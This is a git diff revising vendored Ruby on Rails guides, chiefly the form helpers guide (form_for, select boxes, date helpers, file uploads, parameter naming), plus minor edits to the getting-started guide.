- ... ----------------------------------------------------------------------------- +For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing: -When parsing POSTed data, Rails will take into account the special `"_method"` parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example). +--------------------------- +<%= text_field(:person, :name) %> +--------------------------- +will produce output similar to +--------------------------- + +--------------------------- +Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy. +[WARNING] +============================================================================ +You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object. +============================================================================ -Forms that deal with model attributes -------------------------------------- +Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the link:./activerecord_validations_callbacks.html#_using_the_tt_errors_tt_collection_in_your_view_templates[Active Record Validations and Callbacks] guide. -When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one: +Binding a form to an object +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object which is exactly what `form_for` does. + +Assume we have a controller for dealing with articles: .articles_controller.rb ---------------------------------------------------------------------------- @@ -204,11 +232,11 @@ def new end ---------------------------------------------------------------------------- -Now we switch to the view. The first thing to remember is that we should use `form_for` helper instead of `form_tag`, and that we should pass the model name and object as arguments: +The corresponding view using `form_for` looks like this .articles/new.html.erb ---------------------------------------------------------------------------- -<% form_for :article, @article, :url => { :action => "create" } do |f| %> +<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %> <%= f.text_field :title %> <%= f.text_area :body, :size => "60x12" %> <%= submit_tag "Create" %> @@ -217,39 +245,50 @@ Now we switch to the view. The first thing to remember is that we should use `fo There are a few things to note here: -1. `:article` is the name of the model and `@article` is our record. -2. The URL for the action attribute is passed as a parameter named `:url`. -3. The `form_for` method yields *a form builder* object (the `f` variable). -4. Methods to create form controls are called *on* the form builder object `f` and *without* the `"_tag"` suffix (so `text_field_tag` becomes `f.text_field`). +1. `:article` is the name of the model and `@article` is the actual object being edited. +2. There is a single hash of options. Routing options are passed inside `:url` hash, HTML options are passed in the `:html` hash. +3. The `form_for` method yields a *form builder* object (the `f` variable). +4. Methods to create form controls are called *on* the form builder object `f` The resulting HTML is: ---------------------------------------------------------------------------- - + ---------------------------------------------------------------------------- +The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the <> section. -A nice thing about `f.text_field` and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller: +The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder. ----------------------------------------------------------------------------- -@article = Article.new(:title => "Rails makes forms easy") ----------------------------------------------------------------------------- +You can create a similar binding without actually creating `
` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so: +------------- +<% form_for :person, @person, :url => { :action => "create" } do |person_form| %> + <%= person_form.text_field :name %> + <% fields_for @person.contact_detail do |contact_details_form| %> + <%= contact_details_form.text_field :phone_number %> + <% end %> +<% end %> +------------- -... the corresponding input will be rendered with a value: +which produces the following output: ----------------------------------------------------------------------------- - ----------------------------------------------------------------------------- +------------- + + + +
+------------- +The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally). Relying on record identification ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it *a resource*. +The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*. -When dealing with RESTful resources, our calls to `form_for` can get significantly easier if we rely on *record identification*. In short, we can just pass the model instance and have Rails figure out model name and the rest: +When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest: ---------------------------------------------------------------------------- ## Creating a new article @@ -265,81 +304,466 @@ form_for(:article, @article, :url => article_path(@article), :method => "put") form_for(@article) ---------------------------------------------------------------------------- -Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. +Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object. + +Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23 the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide. WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url` and `:method` explicitly. +Dealing with namespaces +^^^^^^^^^^^^^^^^^^^^^^^ + +If you have created namespaced routes `form_for` has a nifty shorthand for that too. If your application has an admin namespace then +------- +form_for [:admin, @article] +------- +will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: + +------- +form_for [:admin, :management, @article] +------- +For more information on Rails' routing system and the associated conventions, please see the link:./routing_outside_in.html[routing guide]. + + +How do forms with PUT or DELETE methods work? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. + +Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the desired method: + +---------------------------------------------------------------------------- +form_tag(search_path, :method => "put") + +output: + +
+
+ + +
+ ... +---------------------------------------------------------------------------- +When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). + Making select boxes with ease ----------------------------- -Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes. +Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. -Here is what our wanted markup might look like: +Here is what the markup might look like: ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- -Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here. +Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here. -The select tag and options +The select and options tag ~~~~~~~~~~~~~~~~~~~~~~~~~~ -The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates the options: +The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates an options string: ---------------------------------------------------------------------------- -<%= select_tag(:city_id, '...') %> +<%= select_tag(:city_id, '...') %> ---------------------------------------------------------------------------- -This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string. - -We can generate option tags with the `options_for_select` helper: +This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper: ---------------------------------------------------------------------------- -<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %> +<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %> output: - + ... ---------------------------------------------------------------------------- -For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID). +The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case. -Now you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup: +Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup: ---------------------------------------------------------------------------- <%= select_tag(:city_id, options_for_select(...)) %> ---------------------------------------------------------------------------- -Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The `options_for_select` helper supports this with an optional second argument: +`options_for_select` allows you to pre-select an option by passing its value. ---------------------------------------------------------------------------- -<%= options_for_select(cities_array, 2) %> +<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %> output: - + ... ---------------------------------------------------------------------------- -So whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. +Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. + +[TIP] +============================================================================ +The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` -- you must pass 2. Be aware of values extracted from the `params` hash as they are all strings. + +============================================================================ Select boxes for dealing with models ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a `city_id` attribute. +In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`: ---------------------------------------------------------------------------- -... +# controller: +@person = Person.new(:city_id => 2) + +# view: +<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> ---------------------------------------------------------------------------- -... \ No newline at end of file +Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the `@person.city_id` attribute. + +As with other helpers, if you were to use `select` helper on a form builder scoped to `@person` object, the syntax would be: + +---------------------------------------------------------------------------- +# select on a form builder +<%= f.select(:city_id, ...) %> +---------------------------------------------------------------------------- + +[WARNING] +============================= +If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. + +If you specify `city` instead of `city_id` Active Record will raise an error along the lines of +-------- +ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) +-------- +when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. + +You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of `attr_protected` and `attr_accessible`. For further details on this, see the link:security.html#_mass_assignment[Ruby On Rails Security Guide]. +============================ + +Option tags from a collection of arbitrary objects +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: + +---------------------------------------------------------------------------- +<% cities_array = City.all.map { |city| [city.name, city.id] } %> +<%= options_for_select(cities_array) %> +---------------------------------------------------------------------------- + +This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively: + +---------------------------------------------------------------------------- +<%= options_from_collection_for_select(City.all, :id, :name) %> +---------------------------------------------------------------------------- +As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`. + +---------------------------------------------------------------------------- +<%= collection_select(:person, :city_id, City.all, :id, :name) %> +---------------------------------------------------------------------------- + +To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`. + +[NOTE] +============================= +Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method. +============================= + +Time zone and country select +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this: + +---------------------------------------------------------------------------- +<%= time_zone_select(:person, :time_zone) %> +---------------------------------------------------------------------------- + +There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods. + +Rails _used_ to have a `country_select` helper for choosing countries but this has been extracted to the http://github.com/rails/country_select/tree/master[country_select plugin]. When using this do be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails). + +Using Date and Time Form Helpers +-------------------------------- + +The date and time helpers differ from all the other form helpers in two important respects: + +1. Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time. +2. Other helpers use the _tag suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers. + +Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.). + +Barebones helpers +~~~~~~~~~~~~~~~~~ +The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example + +----------- +<%= select_date Date.today, :prefix => :start_date %> +----------- +outputs (with actual option values omitted for brevity) +----------- + + + +----------- +The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example +----------- +Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i) +----------- +The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`. + +Model object helpers +~~~~~~~~~~~~~~~~~~~~ +`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute. +The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example: +--------------- +<%= date_select :person, :birth_date %> +--------------- +outputs (with actual option values omitted for brevity) +-------------- + + + +-------------- +which results in a `params` hash like +-------------- +{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} +-------------- + +When this is passed to `Person.new` (or `update_attributes`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. + +Common options +~~~~~~~~~~~~~~ +Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html[API documentation]. + +As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in others cases, such as a search form which filters results by date. + +NOTE: In many cases the built in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week. + +Individual components +~~~~~~~~~~~~~~~~~~~~~ + +Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate a input named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overriden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. + +The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example + +--------------- +<%= select_year(2009) %> +<%= select_year(Time.now) %> +--------------- + +will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`. + +Uploading Files +-------------- +A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to "multipart/form-data". If you forget to do this the file will not be uploaded. This can be done by passing `:multi_part => true` as an HTML option. This means that in the case of `form_tag` it must be passed in the second options hash and in the case of `form_for` inside the `:html` hash. + +The following two forms both upload a file. +----------- +<% form_tag({:action => :upload}, :multipart => true) do %> + <%= file_field_tag 'picture' %> +<% end %> + +<% form_for @person, :html => {:multipart => true} do |f| %> + <%= f.file_field :picture %> +<% end %> +----------- +Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`. + +What gets uploaded +~~~~~~~~~~~~~~~~~~ +The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#\{Rails.root\}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example). + +[source, ruby] +----------------- +def upload + uploaded_io = params[:person][:picture] + File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file| + file.write(uploaded_io.read) + end +end +---------------- + +Once a file has been uploaded there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are http://github.com/technoweenie/attachment_fu[Attachment-Fu] and http://www.thoughtbot.com/projects/paperclip[Paperclip]. + +NOTE: If the user has not selected a file the corresponding parameter will be an empty string. + +Dealing with Ajax +~~~~~~~~~~~~~~~~~ +Unlike other forms making an asynchronous file upload form is not as simple as replacing `form_for` with `remote_form_for`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission. + +Customising Form Builders +------------------------- + +As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example + +---------- +<% form_for @person do |f| %> + <%= text_field_with_label f, :first_name %> +<% end %> +---------- +can be replaced with +---------- +<% form_for @person, :builder => LabellingFormBuilder do |f| %> + <%= f.text_field :first_name %> +<% end %> +---------- +by defining a LabellingFormBuilder class similar to the following: + +[source, ruby] +------- +class LabellingFormBuilder < FormBuilder + def text_field(attribute, options={}) + label(attribute) + text_field(attribute, options) + end +end +------- +If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `:builder => LabellingFormBuilder` option. + +The form builder used also determines what happens when you do +------ +<%= render :partial => f %> +------ +If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead. + +Understanding Parameter Naming Conventions +----------------------------------------- + +[[parameter_names]] +As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create` +action for a Person model, `params[:model]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on. + +Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. + +[TIP] +======================== +You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example + +------------- +ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" +# => {"name"=>"fred", "phone"=>"0123456789"} +------------- +======================== + +Basic structures +~~~~~~~~~~~~~~~ +The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains +----------------- + +----------------- +the `params` hash will contain + +----------------- +{'person' => {'name' => 'Henry'}} +----------------- +and `params["name"]` will retrieve the submitted value in the controller. + +Hashes can be nested as many levels as required, for example +------------------ + +------------------ +will result in the `params` hash being + +----------------- +{'person' => {'address' => {'city' => 'New York'}}} +----------------- + +Normally Rails ignores duplicate parameter names. If the parameter name contains [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, your could place this in the form: +----------------- + + + +----------------- +This would result in `params[:person][:phone_number]` being an array. + +Combining them +~~~~~~~~~~~~~~ +We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment +----------------- + + + +----------------- +This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash. + +There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter. + +[WARNING] +Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays. + +Using form helpers +~~~~~~~~~~~~~~~~~ +The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take. + +You might want to render a form with a set of edit fields for each of a person's addresses. For example: +-------- +<% form_for @person do |person_form| %> + <%= person_form.text_field :name %> + <% for address in @person.addresses %> + <% person_form.fields_for address, :index => address do |address_form|%> + <%= address_form.text_field :city %> + <% end %> + <% end %> +<% end %> +-------- +Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this: +-------- + + + + +
+-------- +This will result in a `params` hash that looks like + +-------- +{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} +-------- + +Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created). + +To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example +-------- +<% fields_for 'person[address][primary]', address, :index => address do |address_form| %> + <%= address_form.text_field :city %> +<% end %> +-------- +will create inputs like +-------- + +-------- +As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls. + +As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifing `:index => address` so +-------- +<% fields_for 'person[address][primary][]', address do |address_form| %> + <%= address_form.text_field :city %> +<% end %> +-------- +produces exactly the same output as the previous example. + +Building Complex forms +---------------------- + +Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include: + +* Ryan Bates' series of railscasts on http://railscasts.com/episodes/75[complex forms] +* Handle Multiple Models in One Form from http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf[Advanced Rails Recipes] +* Eloy Duran's http://github.com/alloy/complex-form-examples/tree/alloy-nested_params[nested_params] plugin +* Lance Ivy's http://github.com/cainlevy/nested_assignment/tree/master[nested_assignment] plugin and http://github.com/cainlevy/complex-form-examples/tree/cainlevy[sample application] +* James Golick's http://github.com/giraffesoft/attribute_fu/tree[attribute_fu] plugin + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1[Lighthouse ticket] + +.Authors +* Mislav Marohnić +* link:../authors.html#fcheung[Frederick Cheung] diff --git a/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt b/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt index bae8f9a4..43322822 100644 --- a/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt +++ b/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt @@ -8,6 +8,8 @@ This guide covers getting up and running with Ruby on Rails. After reading it, * The basic principles of MVC (Model, View Controller) and RESTful design * How to quickly generate the starting pieces of a Rails application. +NOTE: This Guide is based on Rails 2.3. Some of the code shown here will not work in older versions of Rails. + == This Guide Assumes This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: @@ -16,7 +18,7 @@ This guide is designed for beginners who want to get started with a Rails applic * The link:http://rubyforge.org/frs/?group_id=126[RubyGems] packaging system * A working installation of link:http://www.sqlite.org/[SQLite] (preferred), link:http://www.mysql.com/[MySQL], or link:http://www.postgresql.org/[PostgreSQL] -It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including: +It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including: * link:http://www.humblelittlerubybook.com/[Mr. Neigborly’s Humble Little Ruby Book] * link:http://www.rubycentral.com/book/[Programming Ruby] @@ -26,7 +28,7 @@ It is highly recommended that you *familiarize yourself with Ruby before diving Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun. -Rails is _opinionated software_. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience. +Rails is _opinionated software_. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience. The Rails philosophy includes several guiding principles: @@ -105,7 +107,7 @@ For example, to a Rails application a request such as this: +DELETE /photos/17+ -would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities. +would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities and browser quirks. If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis: @@ -154,26 +156,34 @@ And if you're using PostgreSQL for data storage, run this command: $ rails blog -d postgresql ------------------------------------------------------- +TIP: You can see all of the switches that the Rails application builder accepts by running +rails -h+. + +After you create the blog application, switch to its folder to continue work directly in that application: + +[source, shell] +------------------------------------------------------- +$ cd blog +------------------------------------------------------- + In any case, Rails will create a folder in your working directory called +blog+. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default: -[grid="all"] -`-----------`----------------------------------------------------------------------------------------------------------------------------- -File/Folder Purpose ------------------------------------------------------------------------------------------------------------------------------------------- -+README+ This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on. -+Rakefile+ This file contains batch jobs that can be run from the terminal. -+app/+ Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide. -+config/+ Configure your application's runtime rules, routes, database, and more. -+db/+ Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly. -+doc/+ In-depth documentation for your application. -+lib/+ Extended modules for your application (not covered in this guide). -+log/+ Application log files. -+public/+ The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go. -+script/+ Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server. -+test/+ Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications] -+tmp/+ Temporary files -+vendor/+ A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality. -------------------------------------------------------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================== +|File/Folder |Purpose +|+README+ |This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on. +|+Rakefile+ |This file contains batch jobs that can be run from the terminal. +|+app/+ |Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide. +|+config/+ |Configure your application's runtime rules, routes, database, and more. +|+db/+ |Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly. +|+doc/+ |In-depth documentation for your application. +|+lib/+ |Extended modules for your application (not covered in this guide). +|+log/+ |Application log files. +|+public/+ |The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go. +|+script/+ |Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server. +|+test/+ |Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications] +|+tmp/+ |Temporary files +|+vendor/+ |A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality. +|========================================================================================================== === Configuring a Database @@ -195,13 +205,12 @@ Here's the section of the default configuration file with connection information development: adapter: sqlite3 database: db/development.sqlite3 + 